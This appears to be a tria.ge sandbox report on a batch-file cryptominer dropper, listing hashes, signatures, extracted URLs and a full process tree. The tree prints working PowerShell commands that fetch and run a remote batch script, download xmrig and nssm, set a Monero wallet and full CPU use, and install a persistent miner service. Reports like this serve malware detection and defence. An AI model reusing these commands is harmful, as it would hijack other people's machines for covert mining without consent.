Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
1050s -
max time network
1057s -
platform
windows10-1703_x64 -
resource
win10-20240611-en -
resource tags
arch:x64arch:x86image:win10-20240611-enlocale:en-usos:windows10-1703-x64system -
submitted
30/06/2024, 18:45
Static task
static1
Behavioral task
behavioral1
Sample
99241512128337.bat
Resource
win10-20240611-en
Behavioral task
behavioral2
Sample
99241512128337.bat
Resource
win10v2004-20240226-en
General
-
Target
99241512128337.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral1/files/0x000700000001aab9-129.dat family_xmrig behavioral1/files/0x000700000001aab9-129.dat xmrig behavioral1/memory/96-131-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-413-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-414-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-415-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-416-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-417-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-418-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-419-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-420-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-421-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-422-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-423-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-424-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-425-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-426-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-427-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-428-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-429-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-430-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-431-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-432-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-433-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-434-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-435-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-436-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-437-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-438-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-439-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-440-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-441-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-442-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-443-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-444-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-445-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-446-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-447-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-448-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-450-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-451-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-452-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-453-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-454-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-455-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-456-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-457-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-458-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-459-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-460-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-461-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-462-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-463-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-464-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-465-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-466-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-467-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-468-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-469-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-470-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-471-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-472-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-473-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4356-474-0x0000000000400000-0x000000000102B000-memory.dmp xmrig -
Blocklisted process makes network request 3 IoCs
flow pid Process 2 1480 powershell.exe 5 4892 powershell.exe 6 4360 powershell.exe -
Executes dropped EXE 9 IoCs
pid Process 96 xmrig.exe 1232 nssm.exe 4264 nssm.exe 1764 nssm.exe 1652 nssm.exe 4352 nssm.exe 1100 nssm.exe 2340 nssm.exe 4356 xmrig.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 4 raw.githubusercontent.com 5 raw.githubusercontent.com 6 raw.githubusercontent.com -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2268 sc.exe 3484 sc.exe 4492 sc.exe 3512 sc.exe -
pid Process 4892 powershell.exe 4580 powershell.exe 4360 powershell.exe 4596 powershell.exe 4100 powershell.exe 3268 powershell.exe 1480 powershell.exe 1228 powershell.exe 2960 powershell.exe 5008 powershell.exe 4800 powershell.exe 4556 powershell.exe 5096 powershell.exe -
Delays execution with timeout.exe 64 IoCs
pid Process 4900 timeout.exe 2960 timeout.exe 3924 Process not Found 2388 Process not Found 4256 Process not Found 1172 timeout.exe 1100 timeout.exe 5064 timeout.exe 2744 Process not Found 3096 timeout.exe 4220 timeout.exe 1680 Process not Found 3856 Process not Found 5072 timeout.exe 4148 Process not Found 3108 Process not Found 5060 Process not Found 1184 timeout.exe 3236 timeout.exe 2312 Process not Found 3832 timeout.exe 1804 Process not Found 524 Process not Found 3280 timeout.exe 2188 timeout.exe 3228 timeout.exe 3272 timeout.exe 68 timeout.exe 1184 timeout.exe 3284 timeout.exe 4500 timeout.exe 3156 timeout.exe 1048 timeout.exe 68 Process not Found 1048 Process not Found 3520 Process not Found 4720 timeout.exe 2688 timeout.exe 3960 timeout.exe 1180 timeout.exe 2884 timeout.exe 4408 Process not Found 4332 Process not Found 1956 Process not Found 4836 Process not Found 1048 Process not Found 2516 timeout.exe 4948 timeout.exe 68 timeout.exe 3648 timeout.exe 4140 Process not Found 3212 timeout.exe 2732 timeout.exe 2684 timeout.exe 1456 Process not Found 3580 Process not Found 3536 Process not Found 2720 Process not Found 64 timeout.exe 4540 timeout.exe 4056 timeout.exe 2296 Process not Found 1536 Process not Found 3924 timeout.exe -
Kills process with taskkill 1 IoCs
pid Process 3536 taskkill.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 39 IoCs
pid Process 1480 powershell.exe 1480 powershell.exe 1480 powershell.exe 4892 powershell.exe 4892 powershell.exe 4892 powershell.exe 4580 powershell.exe 4580 powershell.exe 4580 powershell.exe 4800 powershell.exe 4800 powershell.exe 4800 powershell.exe 4556 powershell.exe 4556 powershell.exe 4556 powershell.exe 1228 powershell.exe 1228 powershell.exe 1228 powershell.exe 2960 powershell.exe 2960 powershell.exe 2960 powershell.exe 5008 powershell.exe 5008 powershell.exe 5008 powershell.exe 4100 powershell.exe 4100 powershell.exe 4100 powershell.exe 3268 powershell.exe 3268 powershell.exe 3268 powershell.exe 5096 powershell.exe 5096 powershell.exe 5096 powershell.exe 4360 powershell.exe 4360 powershell.exe 4360 powershell.exe 4596 powershell.exe 4596 powershell.exe 4596 powershell.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 644 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1480 powershell.exe Token: SeDebugPrivilege 3536 taskkill.exe Token: SeDebugPrivilege 4892 powershell.exe Token: SeDebugPrivilege 4580 powershell.exe Token: SeDebugPrivilege 4800 powershell.exe Token: SeDebugPrivilege 4556 powershell.exe Token: SeDebugPrivilege 1228 powershell.exe Token: SeDebugPrivilege 2960 powershell.exe Token: SeDebugPrivilege 5008 powershell.exe Token: SeDebugPrivilege 4100 powershell.exe Token: SeDebugPrivilege 3268 powershell.exe Token: SeDebugPrivilege 5096 powershell.exe Token: SeDebugPrivilege 4360 powershell.exe Token: SeDebugPrivilege 4596 powershell.exe Token: SeLockMemoryPrivilege 4356 xmrig.exe Token: SeIncreaseQuotaPrivilege 5032 WMIC.exe Token: SeSecurityPrivilege 5032 WMIC.exe Token: SeTakeOwnershipPrivilege 5032 WMIC.exe Token: SeLoadDriverPrivilege 5032 WMIC.exe Token: SeSystemProfilePrivilege 5032 WMIC.exe Token: SeSystemtimePrivilege 5032 WMIC.exe Token: SeProfSingleProcessPrivilege 5032 WMIC.exe Token: SeIncBasePriorityPrivilege 5032 WMIC.exe Token: SeCreatePagefilePrivilege 5032 WMIC.exe Token: SeBackupPrivilege 5032 WMIC.exe Token: SeRestorePrivilege 5032 WMIC.exe Token: SeShutdownPrivilege 5032 WMIC.exe Token: SeDebugPrivilege 5032 WMIC.exe Token: SeSystemEnvironmentPrivilege 5032 WMIC.exe Token: SeRemoteShutdownPrivilege 5032 WMIC.exe Token: SeUndockPrivilege 5032 WMIC.exe Token: SeManageVolumePrivilege 5032 WMIC.exe Token: 33 5032 WMIC.exe Token: 34 5032 WMIC.exe Token: 35 5032 WMIC.exe Token: 36 5032 WMIC.exe Token: SeIncreaseQuotaPrivilege 5032 WMIC.exe Token: SeSecurityPrivilege 5032 WMIC.exe Token: SeTakeOwnershipPrivilege 5032 WMIC.exe Token: SeLoadDriverPrivilege 5032 WMIC.exe Token: SeSystemProfilePrivilege 5032 WMIC.exe Token: SeSystemtimePrivilege 5032 WMIC.exe Token: SeProfSingleProcessPrivilege 5032 WMIC.exe Token: SeIncBasePriorityPrivilege 5032 WMIC.exe Token: SeCreatePagefilePrivilege 5032 WMIC.exe Token: SeBackupPrivilege 5032 WMIC.exe Token: SeRestorePrivilege 5032 WMIC.exe Token: SeShutdownPrivilege 5032 WMIC.exe Token: SeDebugPrivilege 5032 WMIC.exe Token: SeSystemEnvironmentPrivilege 5032 WMIC.exe Token: SeRemoteShutdownPrivilege 5032 WMIC.exe Token: SeUndockPrivilege 5032 WMIC.exe Token: SeManageVolumePrivilege 5032 WMIC.exe Token: 33 5032 WMIC.exe Token: 34 5032 WMIC.exe Token: 35 5032 WMIC.exe Token: 36 5032 WMIC.exe Token: SeIncreaseQuotaPrivilege 1420 WMIC.exe Token: SeSecurityPrivilege 1420 WMIC.exe Token: SeTakeOwnershipPrivilege 1420 WMIC.exe Token: SeLoadDriverPrivilege 1420 WMIC.exe Token: SeSystemProfilePrivilege 1420 WMIC.exe Token: SeSystemtimePrivilege 1420 WMIC.exe Token: SeProfSingleProcessPrivilege 1420 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4356 xmrig.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4240 wrote to memory of 1480 4240 cmd.exe 71 PID 4240 wrote to memory of 1480 4240 cmd.exe 71 PID 1480 wrote to memory of 4860 1480 powershell.exe 72 PID 1480 wrote to memory of 4860 1480 powershell.exe 72 PID 4860 wrote to memory of 4952 4860 cmd.exe 73 PID 4860 wrote to memory of 4952 4860 cmd.exe 73 PID 4952 wrote to memory of 1688 4952 net.exe 74 PID 4952 wrote to memory of 1688 4952 net.exe 74 PID 4860 wrote to memory of 4560 4860 cmd.exe 75 PID 4860 wrote to memory of 4560 4860 cmd.exe 75 PID 4860 wrote to memory of 4552 4860 cmd.exe 76 PID 4860 wrote to memory of 4552 4860 cmd.exe 76 PID 4860 wrote to memory of 4260 4860 cmd.exe 77 PID 4860 wrote to memory of 4260 4860 cmd.exe 77 PID 4860 wrote to memory of 3084 4860 cmd.exe 78 PID 4860 wrote to memory of 3084 4860 cmd.exe 78 PID 4860 wrote to memory of 812 4860 cmd.exe 79 PID 4860 wrote to memory of 812 4860 cmd.exe 79 PID 4860 wrote to memory of 2268 4860 cmd.exe 80 PID 4860 wrote to memory of 2268 4860 cmd.exe 80 PID 4860 wrote to memory of 3512 4860 cmd.exe 111 PID 4860 wrote to memory of 3512 4860 cmd.exe 111 PID 4860 wrote to memory of 3536 4860 cmd.exe 82 PID 4860 wrote to memory of 3536 4860 cmd.exe 82 PID 4860 wrote to memory of 4892 4860 cmd.exe 129 PID 4860 wrote to memory of 4892 4860 cmd.exe 129 PID 4860 wrote to memory of 4580 4860 cmd.exe 85 PID 4860 wrote to memory of 4580 4860 cmd.exe 85 PID 4860 wrote to memory of 4800 4860 cmd.exe 86 PID 4860 wrote to memory of 4800 4860 cmd.exe 86 PID 4860 wrote to memory of 96 4860 cmd.exe 87 PID 4860 wrote to memory of 96 4860 cmd.exe 87 PID 4860 wrote to memory of 524 4860 cmd.exe 88 PID 4860 wrote to memory of 524 4860 cmd.exe 88 PID 524 wrote to memory of 4556 524 cmd.exe 157 PID 524 wrote to memory of 4556 524 cmd.exe 157 PID 4556 wrote to memory of 3400 4556 powershell.exe 90 PID 4556 wrote to memory of 3400 4556 powershell.exe 90 PID 4860 wrote to memory of 1228 4860 cmd.exe 91 PID 4860 wrote to memory of 1228 4860 cmd.exe 91 PID 4860 wrote to memory of 2960 4860 cmd.exe 92 PID 4860 wrote to memory of 2960 4860 cmd.exe 92 PID 4860 wrote to memory of 5008 4860 cmd.exe 114 PID 4860 wrote to memory of 5008 4860 cmd.exe 114 PID 4860 wrote to memory of 4100 4860 cmd.exe 94 PID 4860 wrote to memory of 4100 4860 cmd.exe 94 PID 4860 wrote to memory of 3268 4860 cmd.exe 95 PID 4860 wrote to memory of 3268 4860 cmd.exe 95 PID 4860 wrote to memory of 5096 4860 cmd.exe 96 PID 4860 wrote to memory of 5096 4860 cmd.exe 96 PID 4860 wrote to memory of 4360 4860 cmd.exe 97 PID 4860 wrote to memory of 4360 4860 cmd.exe 97 PID 4860 wrote to memory of 4596 4860 cmd.exe 98 PID 4860 wrote to memory of 4596 4860 cmd.exe 98 PID 4860 wrote to memory of 3484 4860 cmd.exe 99 PID 4860 wrote to memory of 3484 4860 cmd.exe 99 PID 4860 wrote to memory of 4492 4860 cmd.exe 100 PID 4860 wrote to memory of 4492 4860 cmd.exe 100 PID 4860 wrote to memory of 1232 4860 cmd.exe 101 PID 4860 wrote to memory of 1232 4860 cmd.exe 101 PID 4860 wrote to memory of 4264 4860 cmd.exe 102 PID 4860 wrote to memory of 4264 4860 cmd.exe 102 PID 4860 wrote to memory of 1764 4860 cmd.exe 162 PID 4860 wrote to memory of 1764 4860 cmd.exe 162
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\99241512128337.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4240 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1480 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpC767.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"3⤵
- Suspicious use of WriteProcessMemory
PID:4860 -
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
PID:4952 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵PID:1688
-
-
-
C:\Windows\system32\where.exewhere powershell4⤵PID:4560
-
-
C:\Windows\system32\where.exewhere find4⤵PID:4552
-
-
C:\Windows\system32\where.exewhere findstr4⤵PID:4260
-
-
C:\Windows\system32\where.exewhere tasklist4⤵PID:3084
-
-
C:\Windows\system32\where.exewhere sc4⤵PID:812
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:2268
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:3512
-
-
C:\Windows\system32\taskkill.exetaskkill /f /t /im xmrig.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3536
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4892
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4580
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4800
-
-
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe" --help4⤵
- Executes dropped EXE
PID:96
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"4⤵
- Suspicious use of WriteProcessMemory
PID:524 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4556 -
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"6⤵PID:3400
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10004 \",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1228
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2960
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Gkutwgdf\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5008
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4100
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3268
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5096
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4360
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4596
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:3484
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:4492
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"4⤵
- Executes dropped EXE
PID:1232
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"4⤵
- Executes dropped EXE
PID:4264
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS4⤵
- Executes dropped EXE
PID:1764
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"4⤵
- Executes dropped EXE
PID:1652
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"4⤵
- Executes dropped EXE
PID:4352
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner4⤵
- Executes dropped EXE
PID:1100
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3512
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5032
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1668
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5008
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1420
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3212
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3740
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1324
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3952
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4944
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2980
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1188
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2312
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:440
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5028
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2736
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4368
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4460
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2280
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2740
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4452
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4432
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2272
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3520
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1680
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4448
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1536
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4392
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1504
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5052
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4236
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1180
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3788
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1608
-
-
